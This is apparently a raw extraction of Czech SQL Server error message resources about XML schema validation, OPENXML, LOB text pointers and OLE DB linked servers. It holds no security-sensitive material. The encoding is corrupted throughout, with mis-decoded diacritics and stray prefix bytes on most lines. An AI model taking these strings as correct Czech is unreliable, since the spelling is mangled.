lPYedpona oboru n�zvo XML xml mo~e b�t pYidru~ena pouze k identifik�toru URI http://www.w3.org/XML/1998/namespace. Tento identifik�tor URI nelze kombinovat s dala�mi pYedponami.

�Mo~nost ELEMENTS XSINIL klauzule FOR XML nepodporuje novou definici pYedpony oboru n�zvo XML xsi.

�V klauzuli WITH XMLNAMESPACES nen� povolen pr�zdn� identifik�tor URI.

�Identifik�tor URI %1!s! pou~it� v klauzuli WITH XMLNAMESPACES je neplatn�. Prvn�m chybn�m znakem je %2!s!(0x%3!s!).

�Identifik�tor URI pou~it� v klauzuli WITH XMLNAMESPACES je pY�lia dlouh�. Maxim�ln� d�lka je %1!s! znako.

�V klauzuli WITH XMLNAMESPACES nen� povolena pr�zdn� pYedpona oboru n�zvu.

�Klauzuli FORXML XMLSCHEMA nelze pou~�t u zadan�ho sloupce XML, kter� m� pr�zdnou kolekci sch�mat.

�Form�t xml nen� platn�m c�lem pokyno pro zpracov�n�. Nejsp�a doalo k pokusu vytvoYit deklaraci XML pomoc� konstruktoru pokyno pro zpracov�n� XML. Konstrukce deklarace XML s klauzul� FOR XML nejsou podporov�ny.

dOvYen� XML: Instance XML mus� b�t dokument.

\OvYen� XML: Neplatn� definice pro typ %1!s!. Syst�m SQL Server v sou
asn� dob nepodporuje v seznamech typu QName u~�v�n� omezuj�c�ch vlastnost� pro vzorky nebo v�
ty.

XOvYen� XML: Neplatn� definice pro typ %1!s!. Syst�m SQL Server v sou
asn� dob nepodporuje zaYazen� ID, atributu QName nebo seznamu QName mezi typy 
lena typu union.

�OvYen� XML: Byl nalezen duplicitn� atribut %1!s!. %2!s! %3!s!

�OvYen� XML: Atribut %1!s! nen� v tomto kontextu povolen. %2!s! %3!s!

|OvYen� XML: Po~adovan� atribut %1!s! chyb�. %2!s! %3!s!

xIdentifik�tor URI oboru n�zvo je pY�lia dlouh�. %1!s!.

,OvYen� XML: Textov� uzel nen� v tomto um�stn� povolen. Pro tento typ byl definov�n v�hradn elementov� obsah nebo jednoduch� obsah. %1!s! %2!s!

�OvYen� XML: Neplatn� definice pro typ %1!s!. Syst�m SQL Server v sou
asn� dob nepodporuje omezen� typo union.

�OvYen� XML: V modelu cel�ho obsahu byl nalezen duplicitn� element %1!s!. %2!s! %3!s!

�OvYen� XML: V 
ist textov�m modelu obsahu byl nalezen element %1!s!. %2!s! %3!s!

�OvYen� XML: Pro element %1!s! nebyla nalezena deklarace. %2!s! %3!s!

�OvYen� XML: Definice typu %1!s! nebyla nalezena, definice typu je vy~adov�na pYed pou~it�m v obsazen� typu. %2!s! %3!s!

pElement nebo atribut m� pY�lia dlouh� n�zev: %1!s!.

�OvYen� XML: Model obsahu typu nebo skupina modelo %1!s! jsou nejednozna
n�, 
�m~ doch�z� k poruaen� omezen�, kter� vy~aduje pYiYazen� jedine
n� 
�stice. Dala� informace naleznete na webu Knihy online pro SQL Server.

DOvYen� XML: Element %1!s! nemo~e m�t hodnotu parametru xsi:nil=true. Bu neml v definici povolenou hodnotu NULL, nebo m� omezen� pevn� hodnoty. %2!s! %3!s!

OvYen� XML: Element %1!s! nesm� m�t podY�zen� znaky nebo elementy, proto~e parametr xsi:nil byl nastaven na hodnotu true. %2!s! %3!s!

$OvYen� XML: Typ elementu %1!s! je abstraktn�. VytvoYen� instance vy~aduje pro zad�n� neabstraktn�ho typu pou~it� typu xsi:type. %2!s! %3!s!

4Neplatn� definice typu %1!s!. Pro atribut %2!s! nelze zadat pY�kaz use="prohibited", proto~e v z�kladn�m typu neexistuje ~�dn� odpov�daj�c� atribut.

@OvYen� XML: Element nebo atribut %1!s! byl definov�n jako pevn�. Hodnota elementu se mus� rovnat hodnot fixn�ho atributu zadan�ho v definici. %2!s! %3!s!

xOvYen� XML: Nelze vyYeait obor n�zvo pro prefix:%1!s!

�OvYen� XML: Jeden 
i v�ce neo
ek�van�ch elemento: %1!s!. %2!s! %3!s!

�OvYen� XML: V modelu obsahu pouze s atributy byl nalezen text %1!s!. %2!s! %3!s!

PNeplatn� definice elementu %1!s!. Syst�m SQL Server v sou
asn� dob nepovoluje dodatky do existuj�c�ch skupin nahrazen� pomoc� pY�kazu ALTER XML SCHEMA COLLECTION.

�OvYen� XML: Neplatn� hodnota jednoduch�ho typu: %1!s!. %2!s! %3!s!

xOvYen� XML: Neplatn� hodnota jednoduch�ho typu: %1!s!.

OvYen� XML: Instance XML modelu obsahu typu nebo skupiny modelo %1!s! mohou b�t ovYeny mnoha zposoby a nejsou podporov�ny.

�OvYen� XML: Neplatn� atribut QName pro atribut typu xsi:type %1!s!.

OvYen� XML: Kontrola omezen� ID se nezdaYila. Byl nalezen atribut s n�zvem %1!s!, kter� m� duplicitn� hodnotu ID %2!s!. %3!s! %4!s!

$OvYen� XML: Kontrola omezen� IDREF se nezdaYila. Byl nalezen atribut s n�zvem %1!s!, kter� nese odkaz na hodnotu ID %2!s!, kter� neexistuje.

�Neplatn� definice elementu nebo atributu %1!s!. Omezen� hodnoty vo
i komponent�m typu ID nen� povolen�.

�OvYen� XML: Neplatn� operace s jednoduch�m typem. Vkl�d�n� do jednoduch�ho typu nen� povoleno. %1!s! %2!s!

�OvYen� XML: Element %1!s! vy~aduje nahrazen�, proto~e byl definov�n jako abstraktn�. %2!s! %3!s!

�OvYen� XML: Atribut ID nebo IDREF pYes�hl maxim�ln� povolenou d�lku. %1!s! %2!s!

�OvYen� XML: Neplatn� pYetypov�n� elementu %1!s! z typu %2!s! na typ %3!s!. %4!s! %5!s!

�OvYen� XML: Kanonick� tvar hodnoty %1!s! nen� podle zadan�ho typu platn�. To mo~e b�t n�sledek pou~it� omezuj�c�ch vlastnost� vzoru na typy jin� ne~ Yetzec nebo pou~it� omezen� rozsahu nebo v�
to na typy s plovouc� 
�rkou. %2!s! %3!s!

�OvYen� XML: Kanonick� tvar hodnoty %1!s! nen� podle zadan�ho typu platn�. To mo~e b�t n�sledek pou~it� omezuj�c�ch vlastnost� vzoru na typy jin� ne~ Yetzec nebo pou~it� omezen� rozsahu nebo v�
to na typy s plovouc� 
�rkou.

�OvYen� XML: Element %1!s! je sm�aen� obsah s pevnou hodnotou, tak~e nesm� m�t obsah elementu. %2!s! %3!s!

8V glob�ln�m oboru byla nalezena neplatn� komponenta s n�zvem %1!s!. V glob�ln�m kontextu mohou b�t definov�ny pouze elementy, atributy, typy a skupiny

�Neplatn� definice typu %1!s!. Typy se slo~it�m obsahem lze odvozovat pouze ze z�kladn�ch typo, kter� maj� slo~it� obsah.

Neplatn� definice typu %1!s!. Typy s jednoduch�m obsahem lze odvozovat jen ze z�kladn�ch typo, kter� maj� jednoduch� obsah

�Neplatn� definice typu %1!s!. Odvozen� je neplatn�, proto~e byl v z�kladn�m typu zad�n atribut final

�Neplatn� definice typu %1!s!. Omezuj�c� vlastnost %2!s! neomezuje prostor hodnot

�Neplatn� hodnota omezuj�c� vlastnosti %1!s! v definici typu %2!s!

�Neplatn� definice typu %1!s!. V atributu minLength nemo~e b�t vta� hodnota ne~ v atributu maxLength

�OvYen� XML: Pro jeden element bylo nalezeno nkolik atributo ID. %1!s! %2!s!

�Neplatn� definice typu %1!s!. V atributu minLength nemo~e b�t vta� hodnota ne~ v atributu maxLength

�Neplatn� definice typu %1!s!. V atributu Length nemo~e b�t vta� hodnota ne~ v atributu maxLength

�Neplatn� definice typu %1!s!. V atributu fractionDigits nemo~e b�t vta� hodnota ne~ v atributu totalDigits

LNeplatn� definice typu %1!s!. V atributu minInclusive mus� b�t mena� nebo stejn� hodnota jako v atributu maxInclusive a mena� hodnota ne~ v atributu maxExclusive

LNeplatn� definice typu %1!s!. V atribut minExclusive mus� b�t mena� nebo stejn� hodnota jako v atributu maxExclusive a mena� hodnota ne~ v atributu maxInclusive

�Neplatn� definice typu %1!s!. Definice rekurzivn�ho typu nejsou povoleny.

�Neplatn� definice skupiny %1!s!. Definice rekurzivn� skupiny nejsou povoleny.

�Neplatn� definice atributu %1!s!. Typ atributo mus� b�t jednoduch� typ.

�Neplatn� definice typu %1!s!. Pevn� omezuj�c� vlastnost %2!s! nemo~e b�t pYedefinov�na na jinou hodnotu.

�Neplatn� definice elementu, element %1!s! nen� platn�m odvozen�m elementu %2!s!

�Neplatn� definice typu %1!s!. Skupina all se nesm� zobrazit jako nadYazen� nebo podY�zen� jin� skupiny modelo. Mus� m�t hodnoty minOccurs = maxOccurs = 1; jej� podY�zen� elementy mus� m�t hodnotu maxOccurs = 1

�Neplatn� definice, definice skupin na nejvyaa� �rovni nemohou b�t na stejn� �rovni jako skupiny modelo

4Komponenta %1!s! je mimo povolen� rozsah. Maxim�ln� hodnota v atributu fractionDigits je 10 a maxim�ln� po
et 
�slic v jin� ne~ zlomkov� 
�sti je 28

�Dos�hli jste limitu syst�mu pro po
et typo XML. ZmHte datab�zi tak, aby obsahovala m�n typo XML.

�Hodnoty default a fixed nejsou povoleny pro element tohoto typu: %1!s!

�Hodnota Default nebo Fixed pYesahuje povolenou d�lku, maxim�ln� povolen� d�lka je 4000 znako : %1!s!

�Hodnota omezuj�c� vlastnosti pYesahuje povolenou d�lku, maxim�ln� povolen� d�lka je 4000 znako : %1!s!

dNeplatn� definice typu %1!s!. Z�kladn� a odvozen� typy mus� m�t stejnou hodnotu mixed. V�jimkou je odvozov�n� omezen�m, kdy je pro odvozen� typ v~dy povolena hodnota false.

�Neplatn� definice typu %1!s!. Slo~it� typy nemohou omezovat jednoduch� typ

�OvYen� ID/IDREF vyu~ilo pY�lia mnoho pamti. Zkuste sn�~it po
et atributo ID a IDREF. Dala�m Yeaen�m mo~e b�t takov� zmna uspoY�d�n� souboru, aby se elementy s atributy IDREF zobrazovaly za elementy, na kter� odkazuj�.

�Neplatn� definice typu %1!s!. }�dn� typ nesm� m�t v�ce ne~ jeden atribut jak�hokoli typu odvozen�ho z ID.

�Neplatn� definice typu %1!s!. Typ obsahuje atribut %2!s!, jen~ nen� v z�kladn�m typu povolen.

$Neplatn� pYedefinov�n� atributu %1!s! v typu %2!s!. Mus� se jednat o typ, kter� je platn�m omezen�m odpov�daj�c�ho atributu v z�kladn�m typu.

Neplatn� pYedefinov�n� atributu %1!s! v typu %2!s!. Pokud je po~adov�n v z�kladn�m typu, mus� b�t po~adov�n i v odvozen�m typu.

Neplatn� pYedefinov�n� atributu %1!s! v typu %2!s!. Pokud je zak�z�n v z�kladn�m typu, mus� b�t zak�z�n i v odvozen�m typu.

�Neplatn� pYedefinov�n� atributu %1!s! v typu %2!s!. Mus� b�t nastaven na stejnou hodnotu jako v odvozen�m typu.

�Neplatn� pYedefinov�n� atributu %1!s! v typu %2!s!. Pro pYedefinov�n� atributo nelze pou~�t odvozen� roza�Yen�m.

�Neplatn� typ 
lena %1!s! v typu union %2!s!. Typy union nemohou m�t slo~it� typy 
leno.

DNeplatn� typ polo~ky pro typ seznamu %1!s!. Typ polo~ky seznamu s�m nemo~e b�t seznam. Typy odvozen� z ID nemohou b�t v t�to verzi pou~ity jako typy polo~ky.

 Neplatn� omezen� typu %1!s!. Element v omezen�m typu mus� m�t stejn� n�zev a v�ce omezuj�c� typ ne~ odpov�daj�c� element v z�kladn�m typu.

$Neplatn� omezen� typu %1!s!. �stice v omezen�m typu nesm� m�t m�rnja� nastaven� rozsahu v�skyto ne~ odpov�daj�c� 
�stice v z�kladn�m typu.

8Neplatn� omezen� typu %1!s!. Element v omezen�m typu nemo~e m�t povolenou hodnotu NULL, pokud ji nem� povolenou odpov�daj�c� element v z�kladn�m typu.

Neplatn� omezen� typu %1!s!. Element v omezen�m typu mus� b�t nastaven na stejnou hodnotu jako odpov�daj�c� element v odvozen�m typu.

0Neplatn� omezen� typu %1!s!. Element v omezen�m typu nesm� m�t m�rnja� nastaven� hodnoty block ne~ odpov�daj�c� element 
�stice v z�kladn�m typu.

 Neplatn� omezen� typu %1!s!. Element v omezen�m typu mus� b�t v jednom z oboro n�zvo, kter� jsou povoleny z�stupn�m znakem z�kladn�ho typu.

�Neplatn� omezen� typu %1!s!. Z�stupn� znak v omezen�m typu mus� b�t platnou podmno~inou odpov�daj�c�ch z�stupn�ch znako v z�kladn�m typu a nesm� m�t m�rnja� nastaven� atributu processContents.

LNeplatn� omezen� typu %1!s!. Skute
n� celkov� rozsah skupiny modelo v omezen�m typu mus� b�t platn�m omezen�m rozsahu v�skyto z�stupn�ho znaku v z�kladn�m typu.

�Neplatn� omezen� typu %1!s!. �stice all mo~e b�t omezena pouze 
�stic� all, element nebo sequence.

�Neplatn� omezen� typu %1!s!. �stice choice mo~e b�t omezena pouze 
�stic� element, choice nebo sequence.

�Neplatn� omezen� typu %1!s!. �stice sequence mo~e b�t omezena pouze 
�stic� element nebo sequence.

�Neplatn� omezen� typu %1!s!. Neplatn� omezen� skupiny modelo.

hNeplatn� omezen� typu %1!s!. Pokud m� z�kladn� typ pr�zdn� obsah, mus� ho m�t i odvozen� typ. Pokud m� odvozen� typ pr�zdn� obsah, potom z�kladn� typ mus� b�t vypr�zdniteln�.

Model obsahu typu %1!s! obsahuje dva elementy se stejn�m n�zvem %2!s! a rozn� typy, mo~nost pou~it� hodnoty null nebo omezen� hodnot.

�Omezen� hodnot v pou~it� atributu %1!s! mus� b�t konzistentn� s omezen�m hodnot v jeho deklaraci.

�Neplatn� omezen� typu %1!s!. Z�stupn� znak atributu v omezen�m typu mus� b�t platnou podmno~inou odpov�daj�c�ch z�stupn�ch znako atributu v z�kladn�m typu a nesm� m�t m�rnja� nastaven� atributu processContents.

�Neplatn� definice typu %1!s!. Syst�m SQL Server nepovoluje typy ID a IDREF z pYeddefinovan�ch sch�mat XML ani z nich odvozen� typy jako typ elementu ani jako z�klad pro odvozen� roza�Yen�m.

Neplatn� definice typu %1!s!. Typ nemo~e m�t z�roveH omezuj�c� vlastnosti minInclusive a minExclusive nebo maxInclusive a maxExclusive.

�Neplatn� definice elementu %1!s!. Element s pevnou hodnotou nemo~e z�roveH dosahovat hodnoty NULL.

Neplatn� definice typu: Typ nebo model obsahu %1!s! je pY�lia slo~it�. Mo~n� budete muset sn�~it po
et v�
to nebo velikost modelu obsahu.

�Neplatn� definice elementu nebo atributu %1!s!. Omezen� hodnot pro komponenty typu QName nen� v t�to verzi podporov�no.

�Parametr popisova
e dokumentu OPENXML mus� b�t datov�ho typu int.

�Parametr pY�znaku dokumentu OPENXML mus� b�t datov�ho typu int.

�Cesta XPath dokumentu OPENXML mus� b�t Yetzcov�ho datov�ho typu, napY. typu nvarchar.

�Pouze jeden sloupec dokumentu OPENXML mo~e b�t typu %1!s!.

�Form�t OPENXML nepodporuje na
�t�n� sch�mat ze vzd�len�ch tabulek, jako v %1!s!.

HForm�t OPENXML vy~aduje, aby byl deklarov�n obor n�zvo metavlastnost�, pokud je pYedpona mp v proceduYe sp_xml_preparedocument pou~�van� i pro jin� obor n�zvo.

pV dokumentu OPENXML doalo k pot�~�m pYi identifikaci pYedpony oboru n�zvo metavlastnosti. Zva~te odstrann� parametru oboru n�zvo z odpov�daj�c�ho pY�kazu sp_xml_preparedocument.

|Dokument OPENXML narazil na nezn�mou metavlastnost %1!s!.

�PY�kaz OPENXML EDGETABLE nen� kompatibiln� s pY�znakem XMLTEXT OVERFLOW.

�Form�t OPENXML povoluje v proceduYe sp_xml_preparedocument pouze jednu deklaraci pYedpony oboru n�zvo metavlastnost�.

 Chcete-li v tabulce, kter� m� funkci text in row nastavenou na ON, pou~�vat textov� ukazatele, potYebujete aktivn� u~ivatelskou transakci.

�VnitYn� chyba: Textov� spr�vce nemo~e pokra
ovat s aktu�ln�m pY�kazem. Spusete pY�kaz DBCC CHECKTABLE.

�Posun nebo velikost datov�ho typu nejsou platn�. Datov� typ mus� b�t typu int nebo smallint.

�ID datab�ze %1!s!, str�nky %2!s!, patice %3!s! pro uzel datov�ho typu LOB neexistuje. Dovodem jsou vtainou transakce, kter� dok�~ou na str�nce dat 
�st nezapsan� data. Spusete pY�kaz DBCC CHECKTABLE.

�VnitYn� chyba: Pokusili jste se aktualizovat datov� typ LOB pomoc� textov�ho ukazatele, kter� je jen pro 
ten�.

�V jedn� transakci mo~ete pou~�t pouze 1024 Y�dkov�ch textov�ch ukazatelo

�ID datab�ze %1!s!, str�nky %2!s!, patice %3!s!, odkazu 
�slo %4!s! nen� platn�. Spusete pY�kaz DBCC CHECKTABLE.

hPosun %1!s! nen� v rozsahu dostupn�ch dat LOB.

�PYi 
ten� dat velk�ho objektu (LOB) z datov�ho proudu protokolu (TDS) doalo k chyb.

�PYi pYiYazov�n� velk�ho objektu (LOB) sob sam�mu je podporov�no pouze kompletn� nahrazen�.

�Pokus o roza�Yen� objektu LOB nad maxim�ln� povolenou velikost %1!s! bajto.

�Neplatn� typ ukazatele text, ntext nebo image. Mus� b�t typ binary(16).

|Neplatn� hodnota ukazatele text, ntext nebo image %1!s!.

�Posun a d�lka zadan� v pY�kazu READTEXT jsou vta�, ne~ samotn� d�lka dat %1!s!.

�Hodnota ukazatele text, ntext nebo image je v rozporu se zadan�m n�zvem sloupce.

�Funkce textptr hodnoty NULL (text, ntext, nebo image pointer) pYeala na funkci %1!s!.

PYi pou~it� pY�kazu UPDATETEXT/WRITETEXT pro aktualizaci/naps�n� textov�ho sloupce nen� lok�tor LOB podporov�n jako textov� ukazatel.

�D�lka odstrann� %1!s! nen� v rozsahu dostupn�ch dat typu text, ntext nebo image.

D%1!s! nen� povolen, proto~e sloupec je sou
asn zpracov�v�n sn�mkem, nebo je pr�v replikov�n pro nkoho, kdo nen� odbratelem syst�mu SQL Server, nebo je zveYejHov�n v publikaci povoluj�c� slu~bu DTS (Data Transformation Services), nebo je sledov�n pomoc� funkce Change Data Capture.

\PY�kaz WRITETEXT nen� povolen, proto~e sloupec je pr�v replikov�n pomoc� slu~by Data Transformation Services (DTS), nebo je sledov�n pomoc� funkce Change Data Capture.

�D�lka dat objektu LOB (%1!s!), kter� maj� b�t replikov�na, pYesahuje nakonfigurovan� maximum %2!s!. Pro zv�aen� nakonfigurovan� maxim�ln� hodnoty mo~nosti max text repl size, kter� je standardn nastavena na 65536, pou~ijte ulo~enou proceduru sp_configure. Nakonfigurovan� hodnota -1 znamen�, ~e nen� nastaveno ~�dn� omezen�, krom omezen� vypl�vaj�c�ho z datov�ho typu.

\Pomoc� ulo~en� procedury sp_createorphan nelze vytvoYit dala� oddlen� soubor. Uvolnte nkter� oddlen� popisova
e, kter� jste vytvoYili jejich vlo~en�m 
i odstrann�m.

|V u~ivatelsk� transakci je tYeba vytvoYit oddlen� text.

TByl zruaen odkaz neplatn�ho lok�toru.

�Sloupec typu text/ntext/image, na kter� odkazuje trval� nebo indexovan� po
�tan� sloupec, nemo~e b�t aktualizov�n

�Vyrovn�vac� pame nen� dostate
n velk� pro proveden� operace z�pisu.

�PY�kazy READEXT, WRITETEXT a UPDATETEXT nejde pou~�vat pro tabulky, na kter� se odkazuje z povolen� z�sady zabezpe
en�.

�Nelze spustit proceduru na vzd�len�m serveru %1!s!, proto~e syst�m SQL Server nen� nakonfigurov�n pro vzd�len� pY�stup. Po~�dejte spr�vce syst�mu, aby pYekonfiguroval syst�m SQL Server a povolil vzd�len� pY�stup.

xV sys.servers nelze naj�t server %1!s!. OvYte, zda jste zadali spr�vn� n�zev serveru. Pokud bude tYeba, pYidejte server do sys.servers spuatn�m ulo~en� procedury sp_addlinkedserver.

|Nelze spustit proceduru %1!s! na vzd�len�m serveru %2!s!.

dPokus zprostYedkovatele pYedat parametry vzd�len� ulo~en� procedury na vzd�len� server %1!s! se nezdaYil. OvYte, ~e pYedan� po
et parametro, poYad� a hodnoty jsou spr�vn�.

�as vzd�len� procedury v d�lce %1!s! sekund byl pYekro
en. Vzd�len� procedura %2!s! byla zruaena.

lNelze spustit pY�kaz na vzd�len�m serveru %1!s!.

�Nelze pYen�st v�sledky procedury %1!s! ze vzd�len�ho serveru %2!s!.

�Na t�to instanci je povolen pouze poskytovatel SQL Server.

�Povolen�  remote proc trans  nen� na t�to instanci podporov�no.

�Od zprostYedkovatele OLE DB %2!s! pro odkazovan� server %3!s! nelze z�skat po~adovan� rozhran� (%1!s!).

�Nelze vytvoYit instanci zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s!.

�Nelze inicializovat objekt zdroje dat zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s!.

xPomoc� zprostYedkovatele OLE DB %1!s! se nelze pYipojit k odkazovan�mu serveru %2!s!. OvYte parametry spojen� nebo pYihlaaovac� povYen�, kter� se poj� s t�mto odkazovan�m serverem.

�Pomoc� zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze vytvoYit objekt pY�kazu.

�Nelze otevY�t tabulku (%1!s!) od zprostYedkovatele OLE DB %2!s!pro odkazovan� server %3!s!. %4!s!

(Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat zdroj dat relace. Tato akce mus� b�t podporov�na zprostYedkovatelem.

<ZprostYedkovatele OLE DB %1!s! nelze pou~�t k distribuovan�m dotazom, proto~e je nakonfigurov�n tak, aby b~el v re~imu STA (single-threaded apartment).

tNelze z�skat sadu Y�dko sch�matu podporovanou zprostYedkovatelem OLE DB %1!s! pro odkazovan� server %2!s!. ZprostYedkovatel rozhran� podporuje, ale pYi jeho pou~it� vrac� k�d chyby.

lPro zprostYedkovatele OLE DB %2!s! pro odkazovan� server %3!s! nelze z�skat sadu Y�dko sch�matu %1!s!. ZprostYedkovatel rozhran� podporuje, ale pYi jeho pou~it� vrac� k�d chyby.

�Neplatn� pou~it� sch�matu nebo katalogu pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s!. Byl zad�n n�zev sest�vaj�c� ze 
tyY 
�st�, ale zprostYedkovatel nezobrazuje rozhran� potYebn� k pou~it� katalogu nebo sch�matu.

�Pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! bylo zad�no neplatn� sch�ma nebo katalog.

8ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! neobsahuje tabulku %3!s!. Tabulka bu neexistuje, nebo k n� aktu�ln� u~ivatel nem� opr�vnn�.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! obsahuje nkolik tabulek, kter� odpov�daj� n�zvu %3!s!.

XU zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze pou~�t kvalifikovan� n�zev tabulky (sch�ma nebo katalog), proto~e neimplementuje po~adovanou funkci.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til neplatnou definici sch�matu.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til neplatnou definici sloupce pro tabulku %3!s!.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til %3!s! index %4!s! s chybn�m poYad�m z�lo~ky %5!s!.

�Nelze spustit dotaz %1!s! vo
i zprostYedkovateli OLE DB %2!s! pro odkazovan� server %3!s!. %4!s!

�Bhem pY�pravy spuatn� dotazu %1!s! vo
i zprostYedkovateli OLE DB %2!s! pro odkazovan� server %3!s! doalo k chyb. %4!s!

�Bhem pYed�v�n� informac� o parametru zprostYedkovateli OLE DB %1!s! pro odkazovan� server %2!s! doalo k selh�n�.

�Bhem odes�l�n� textu dotazu zprostYedkovateli OLE DB %1!s! pro odkazovan� server %2!s! doalo k chyb.

�Bhem nastavov�n� vlastnost� parametro zprostYedkovateli OLE DB %1!s! pro odkazovan� server %2!s! doalo k selh�n�.

PObjekty zveYejHuj�c� sloupce s typy CLR nejsou v distribuovan�ch dotazech povoleny. Chcete-li z�skat pY�stup ke vzd�len�mu objektu %1!s!, pou~ijte pYed�vac� dotaz.

�Bhem na
�t�n� textu dotazu od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! doalo k chyb.

�Bhem na
�t�n� informac� o parametru od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! doalo k chyb.

�Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat Y�dek.

�X�dky od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze uvolnit.

�Sadu v�sledko dotazu od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze znovu prohledat. %3!s!

�Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat Y�dek pomoc� z�lo~ky.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til neplatn� data pro sloupec %3!s!.%4!s!.

�Pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze vytvoYit pYistupuj�c� objekt sloupce.

�Od zprostYedkovatele OLE DB %3!s! pro odkazovan� server %4!s! nelze z�skat aktu�ln� hodnotu sloupce %1!s!.%2!s!. %5!s!

DPro sloupec %1!s!.%2!s! byla od zprostYedkovatele OLE DB %3!s! pro odkazovan� server %4!s! neo
ek�van vr�cena hodnota NULL. Sloupec nemo~e m�t hodnotu NULL.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! nemohl prov�st operaci %3!s! s tabulkou %4!s!. %5!s!

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! nemohl prov�st operaci %3!s! s tabulkou %4!s! kvoli sloupci %5!s!. %6!s!

�ZprostYedkovateli OLE DB %1!s! pro odkazovan� server %2!s! se nepodaYilo prov�st odstrann� z tabulky %3!s!. %4!s!

�Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat data Y�dku. %3!s!

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! vr�til data, kter� neodpov�daj� o
ek�van� d�lce dat pro sloupec %3!s!.%4!s!. O
ek�van� d�lka dat je (maxim�ln) %5!s!, ale vr�cen� d�lka dat je %6!s!.

�ZprostYedkovateli OLE DB %1!s! pro odkazovan� server %2!s! se nepodaYilo nastavit rozsah tabulky %3!s!.%4!s! Informace o mo~n�ch pY�
in�ch tohoto probl�mu naleznete v roza�Yen� chybov� zpr�v.

ZprostYedkovateli OLE DB %1!s! pro odkazovan� server %2!s! se nepodaYilo nastavit rozsah tabulky %3!s! kvoli sloupci %4!s!. %5!s!

�Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat informace o sloupci.

ZprostYedkovateli OLE DB %1!s! pro odkazovan� server %2!s! se nepodaYilo namapovat poYad� jednoho nebo v�ce sloupco objektu %3!s!.

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! dodal nekonzistentn� metadata. V objektu %3!s! chybl o
ek�van� sloupec %4!s!.

pZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! dodal nekonzistentn� metadata. Bhem proveden� doalo k pYid�n� sloupce, kter� nebyl nalezen v dob potYebn� ke kompilaci.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! dodal neplatn� metadata pro sloupec %3!s!. %4!s!

 ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! dodal nekonzistentn� metadata pro sloupec. V dob proveden� doalo ke zmn n�zvu.

�ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! dodal nekonzistentn� metadata pro sloupec. Pro sloupec %3!s! (poYad� kompilace %4!s!) objektu %5!s! bylo nahl�aeno, ~e ml v dob potYebn� ke kompilaci %6!s! z %7!s! a v dob spuatn� %8!s!.

hObjekt %1!s! nelze zpracovat. ZprostYedkovatel OLE DB %2!s! pro odkazovan� server %3!s! uv�d�, ~e bu objekt nem� ~�dn� sloupce, nebo k nmu aktu�ln� u~ivatel nem� opr�vnn�.

\Dotaz nelze spustit. ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! neposkytl vhodn� rozhran� pro pY�stup ke sloupci %3!s!.%4!s! typu text, ntext nebo image.

\ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! ohl�sil zmnu ve verzi sch�matu pro tabulku %5!s! mezi dobou potYebnou ke kompilaci (%3!s!) a spuatn� (%4!s!).

Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat d�lku objektu �lo~iat pro tabulku %3!s!, sloupec %4!s!.

Ze zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze na
�st objekt �lo~iat pro tabulku %3!s!, sloupec %4!s!.

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! ohl�sil pro tabulku %3!s!, sloupec %4!s! rozd�ln� metadata v dob spuatn�.

Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat nepovinn� sloupce metadat ze sady Y�dko sloupco.

�Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat sadu Y�dko sloupco.

0ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! podporuje kolaci na �rovni sloupco, ale v dob spuatn� neposkytl sloupec metadat %3!s!.

 ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! podporuje kolaci na �rovni sloupco, ale neposkytl data kolace pro sloupec %3!s!.

ZprostYedkovatel OLE DB %1!s! pro odkazovan� server %2!s! poskytl neplatnou kolaci. LCID = %3!s!, Compflags = %4!s!, SortOrder = %5!s!.

�V dotazu pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze nastavit jednu nebo v�ce vlastnost�. %3!s!

 Mo~nost serveru n�zev kolace v odkazovan�m serveru %1!s! u zprostYedkovatele %2!s! m� ID kolace %3!s!, kter� syst�m SQL Server nepodporuje.

�Od zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s! nelze z�skat vlastnosti.

�Nelze nastavit inicializa
n� vlastnosti pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s!.

�Nelze nastavit vlastnosti relace pro zprostYedkovatele OLE DB %1!s! pro odkazovan� server %2!s!.

